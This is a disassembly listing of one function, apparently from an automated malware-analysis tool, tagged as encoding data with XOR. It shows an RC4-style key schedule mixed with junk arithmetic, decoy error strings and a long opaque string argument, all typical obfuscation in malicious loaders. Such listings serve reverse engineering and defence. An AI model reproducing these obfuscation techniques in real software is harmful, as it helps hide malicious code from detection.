Function at 0x407a58
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ecx, 4
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x16d]
mov esi, 0x42bf04
push ebx
sub esp, 0x18c
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x14d]
mov esi, 0x42bf14
mov ecx, 0x35
rep movsb byte es:[edi], byte [esi]
mov dword [esp], 0x42dc74
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
xor eax, eax
cmp byte [eax + str.BinaryHash], 0
je 0x407ab3
inc eax
cmp eax, 0x14ba
jne 0x407a98
and dword [0x429400], 0x372ff653
mov eax, dword [0x429400]
and eax, 0x1039763c
imul eax, eax, 0x4b729b17
mov dword [0x429400], eax
mov dword [esp], str.The_requested_action_was_completed_by_an_earlier_operation.
call fcn.0041013c
xor eax, eax
mov byte [ebp + eax - 0x118], al
inc eax
cmp eax, 0x100
jne 0x407ad6
mov esi, dword [0x429400]
xor ebx, ebx
xor ecx, ecx
mov edi, 0x34
mov al, byte [ebp + ecx - 0x118]
xor edx, edx
mov byte [ebp - 0x179], al
mov eax, ecx
div edi
mov al, byte [ebp - 0x179]
add al, byte [ebp + edx - 0x14d]
mov edx, str.BinaryHash
add ebx, eax
movzx ebx, bl
mov al, byte [edx]
test al, al
je 0x407b36
sub eax, 0x30
cmp al, 9
jbe 0x407b33
and esi, 0x67d1fc76
jmp 0x407b36
inc edx
jmp 0x407b1e
mov al, byte [ebp + ebx - 0x118]
mov dl, byte [ebp - 0x179]
or esi, 0x5db88c19
mov byte [ebp + ecx - 0x118], al
inc ecx
mov byte [ebp + ebx - 0x118], dl
cmp ecx, 0x100
jne 0x407af4
mov dword [0x429400], esi
xor edi, edi
xor esi, esi
mov byte [ebp - 0x19], al
mov byte [ebp + ebx - 0x118], dl
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
inc ebx
or eax, 0x1438d60e
movzx ebx, bl
sub eax, 0x6333b50
and eax, 0x57615d42
mov dword [0x429400], eax
call dword [sym.imp.USER32.dll_GetShellWindow]
imul eax, eax, 0xd045ce37
add eax, 0x410d40ec
mov dword [0x429400], eax
call fcn.00411a10
mov al, byte [ebp + ebx - 0x118]
lea edx, [eax + esi]
movzx esi, dl
mov dl, byte [ebp + esi - 0x118]
mov byte [ebp + ebx - 0x118], dl
lea edx, [ebp - 0x15d]
mov byte [ebp + esi - 0x118], al
add al, byte [ebp + ebx - 0x118]
movzx eax, al
mov al, byte [ebp + eax - 0x118]
xor al, byte [ebp + edi - 0x16d]
mov byte [ebp + edi - 0x15d], al
inc edi
cmp edi, 0x10
jne 0x407b76
and dword [0x429400], 0x63a5bdb7
mov ecx, str.A_data_late_error_occurred.
mov ebx, 0x8a6
mov byte [ebp - 0x14d], 0
movsx eax, byte [ecx]
inc ecx
test al, al
je 0x407c47
add ebx, eax
cmp ebx, 0x20c2
jbe 0x407c1b
call fcn.00414fa4
and dword [0x429400], 0x6e7ea7bb
call fcn.00414d98
lea edx, [ebp - 0x15d]
mov eax, dword [0x429400]
xor eax, 0x6875f638
or eax, 0xf8595b5c
mov dword [0x429400], eax
mov dword [esp + 0xc], 0x10
mov dword [esp + 8], edx
mov dword [esp + 4], 0x1234
mov dword [esp], str.w3ppM1Q7Lu26hms66jcQJyWIfFVSOshPxxmeDOJgc5DdOAsGXLd5p4Kha012njr7AMqqxjw9_glH3urwQBBFUSw5zEvZ17NgrMf_93ud7XSCxtYUIX3501YRq5vD9xv1cGvIY1JKIrg6QxiYP4jiRSgJhlmdiqNUxAbnAphMH6xwNs_m4lfSiOuNRVPiLxT91yttAEuNAYJtFDEroG2CFbPf13yUKW8wZnwUaNACAjFJprpL3_N8bdTjvWk3Ogmb68sa4Nrn06s3Sl9tQn3ZLXnOivsBMmfQDudD9sPVmfqTLhZXDGigqdmNW4EmrkHUDtO9rcjv3lxf839ydaVr6YyvP3_OIX7yFAjdSbR3h8NleCScd7o2fnryWmqo2w4tDx2hXOALS6zUauexS9wxeL0nMSL5AqJPIgQYxmICaSUx1RHO9a9vgUIEYk3_YCzyVLSUEau1cvUDJ9ZnSVI8a9BopC_IsBGw8sVWXFqTI7uZ80ue_tZD9Em3tBHCauWiiOpFM1LqWzYytr9EWMuwG0Kz8Gldiknrw1WZXgQ00H1vYVb7ScFwvX5K9z9aYK_bjYF112_zmXDqJqP0z0oRTyiMSWt6pzyz_NIf9xGx3Wc5WRUVWtZqITFwedVgub67F0HQk62mEQICuh7knlzv_r_5HZcla_vZsY0m1kfH96Kv4UaQlYrZb39osqyDnn4YRXarXO79c9xzaD3Fh4VFCjGeJK6tUy_npIwox9JknMy3VhilAxt8YmSU5oreGDelGE74pyVQv3qPlzeSuczHJ9_febVvFQo35lfv4RZT05mYuOCm1toYgXXxAXZz3guoS6qGB3V_Eeuovz4QzUCmZmNIDIYQJfCkJWSxx9hc3qmztuxNH9kND7CDX1Q768Lx47qi1_CDR_d0A0GeVYjlg5X0Yj_SnVMtPcji2cDIh2fYPd8LiaVPBYgudnUVMGKew1xXdXKWpgPw5S51Jt5dnnf34mlGHtErwqozIPJKmkA6hu2H1G3gSphN1lHJFZLLwrbAu0j9ZhcXlXOKmh8EnNxEaADtfUq8nYxqcgvVpf47vEsLFPALqTIiX6E2FvzjMIVUOEVvmf0iD_EMfKkU92cqe00y0uR9egHz0692suxclU5KcG26B6w3ZmzMLTWainC6hTjmVYdp78AgPTlDivv5i5AlszpfbYIvMSM2kJZssqS6WmFoVzzFfQAR_Uh4HAK3noib29ttSPQdKU2ENSuMziEbxF6WS3_ZmdQaMH6ccdu3M0He9Fu57boUqYyDAFtVqAEBjI_BpJk60SFpJQ58k4KsjNP20rTJ9_v_jPk43i8Ju6kavUZlWGFD3O8CPXhSSxI3u_kPhfi0LmMB4jJMMoSg2XhuqW2CdB0rC6l4MRByEBaKZ1KHJFju6PcBFffkGupTMuYGxMQOfKd9P26unrolR81zRo_GCTd47mEpvmelvuKabOH0MEjlmjn9D26DueT_1Vc8BmO0Xaji9yJ2jXSUtiPswuPSu_g5QR5x1opDS9rqSilXxtJYRro4fL4D60jeeKFiF5Bk2mb8r1M_C6Qk8edo1Sef201Cvc3z01fAeRDhPEW52JQaySTTDIXY2fteQjoXBtcpX8VGZPIWMoTQ9N4GpNPSRmH4lP6pzWOtxAwR6aOej6wyjKeNDIqxuQdLup5x3xVTDXR5Ib25XQAx0wI2V21f5cKFdYrU1Euso9G2dI2_8w7hJ7yLIX1eFEfu6J6YNinC20GwTAKvpEsbt43xSFVZ99f2HKriwJcvsGz4uEQF0cYcavpK9Kv7Wz8vvXI7LTyvDxOKwEEoLDz91WYkHUCuMfGnPrt7QitaDLsHg5IYTryncCdUCJIyrgYS5OYmtIyQU1h_fWQpyJGvDqfBwnSF2aV_ZvWSQwtG4grSGTaGY4GChO6hFRaw6_9U_X1km2LgkWA8hjv4Tc5T2E1mrxkLvRRqsyIC1qnLqxMIxKG5keeTWIfIxVxr7JpyfyzdpkTbWiLnXTfL2t9nM8_4AuTUK16CqeHgg9eV3ioNPKk7odc76ZPqzSg0mXJLcncVLwu8w0KPRgRtT50QmDmLWMSei190jsFy0JBiD1rJLmuFPCjF8qCvXQLu3hoOmDe3DMY7TqLaE3Q9WQbtIntb86EXlnmVWsaV6RQhcAF3mutgUutkbyZDSf0sEzbUL3uJZA8VgOzqIJsf4MeDGA7K6fMb70gz_MtpHbrDs_DlxarifWmjQppoAu1QdJoJ4TPUxw7mfc1ypnnIb6BdYrRL0HZv0YBFeSvfTT_WImoUToSWc6RiGCg1HVl8ZmkZRVooeV8mDIvCndpFCiQ67_MgamFklt5OFFL0YGB3zRRtFOZWGQfoKX5VfzU1XtDsoZxOvQVPrGtpFnL2EeFBu31s82JO0Antk6bAhr56LGexvmdY2hbV1JQypUVphi2id0krHp1vrccPgVjISLhO2yCs7wnehK7R81jys2SvrkzkBfSwT6KpXQRzw882IYcxT_vT9zNl5H6HrDwW4V1wZjI24wjlNaYgKpZnwI2mxwe6778rZpJBj_EJucDfhntlMGmBIffz3NmjQ5Z114HFKHlKFGEf7XN0ABm_Qh7u5E10qpsQERbA3FJgtTLVqu9rvChHAcFejhSN8BWPJIPhg5kFtNRW6E5NctAV7T1uQFdM0hIkzGyvit2_I3n4kv6xTMCcFQA11uHUMAwHsQeuTZI4XAaPZoIw3X3MHwhmUwOkYlvgq1BYlK3kcRa5ogo0WSe9ynU5hZzZdZnCJgIXyNiYNX2bDJrnQVw1u4yBISDCEGTB7hnyTOok3XX_qHpAprfeiQhO36ZAomVYBZGgX_MUmhq22iAAElhDW024Kdfcx3ewODKYlgCqPr2y2zkJLzCLZlftUbpu8yhFqZ3tybv51_ThfpWfqmvlpOaHEI_vDJc6xWmgTvmP5xbSZfpfnlpa7kZqSlstsdjmWdDQMzXq5QgxojESs7UjA_KD0hM0uRBDjhmVcHVzaXNmRYQ2xwlQ0rHnMsRZTRsbiQTonfl6fYipThjmIjYUO4FC0lFDVT1DxQfBzgGM8wd3VyI20F0tuFpZ591F3Dm4Wiy53AhUbETArJiZQBefFScR7Zs8dhXIqboXk8EIWu8gI7D_dgIWjDma7FSn2SySnMvuR1UBEB3i83FjrpymUz3lNYxtgxD8KDYtIF6LAG_pmD4wWkPXPk8fn3dN_DukLd0mXe7Cer52Zl6NImlUitwGQLnlZaPXKk7vBYEXBd4ldMphwgvZG8a24mwGwYoojDEm9k7pyLbAcap_YTWgh0O4XaFz6V5XsFCS30KmmLnuRixzKdDL_QPWd_uc76eSSF8e4SLnI00rTLo4_vpFCvtA9PRsB0mk4uI3NCr9b4s5_GW2dM0DhXaP2f4VwEsUDk8TTthEUwEs5hRIPcSDgakIgcBcil_7tfoZs37z_xZPfpKS1rkzckk4PNxfNuLLQbDhDj8mU0mzY07RGSNGoi7LvWcYzzMvTed72Ov6j22txTZ3d4WaOpz7CemAwgEEPcFnnn5Gfm4vS5itLfXOc6xMvbwA0FaM0A3fVQPZh9zqL3hcTgUvnXVOhBflHO91cxwaYheHW9CqayPyLzdO0WZarF4B1IpO0vmLcNRwcHcIogSQ31tiHiRD7V_SYo2DZ23Nlw0dBUfXAtSLmiDwov9is5APoFNLfYSM6uMa3RqhyanDicJJAfZj7nh_ar3xhhYR9CZ_9pca2b07ApRew7qBPEDN46pXmhAFuQDyUH8nc59gKjHKrYNjc0Gf6NVZd9ahvXXvq5Fc5GIVRIvMVSTCuyT1Faoy_czWVrQp41XAubBKiNCohbvdcqC51dVANEYieqsBvaOYV6SfEgU9rsXed32kPhooswCBAzp0OHxgYR_9f01miS39lqbpxucOotDBp1oGNjGkDvVQ1p7HZEX_pdRBAFqfHo7dmt47o4qxGbVOxB6aNvxBkdKvCJgOZ1ivq1CNSfqjKEmFxZlW6LRwP9mbH9Gq1Qen2IHJuDs3b2Hy
call fcn.0040b3c4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret